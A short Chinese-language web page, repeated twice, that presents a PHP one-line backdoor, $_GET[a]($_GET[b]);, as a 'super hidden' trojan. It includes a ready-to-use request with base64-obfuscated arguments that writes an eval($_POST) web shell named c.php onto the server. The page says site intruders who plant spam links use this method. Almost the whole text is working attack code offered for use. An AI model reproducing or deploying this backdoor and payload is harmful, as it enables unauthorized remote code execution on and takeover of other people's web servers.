邪恶的Php一句话木马 assert函数制作简单木马

超级隐蔽PHP一句话木马

很多挂黑链的2B常常用这个方式来入侵网。

代码:

$_GET[a]($_GET[b]);

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29

执行后当前目录生成c.php一句话木马

(PS:当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马)

超级隐蔽PHP一句话木马

代码:

$_GET[a]($_GET[b]);

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29

执行后当前目录生成c.php一句话木马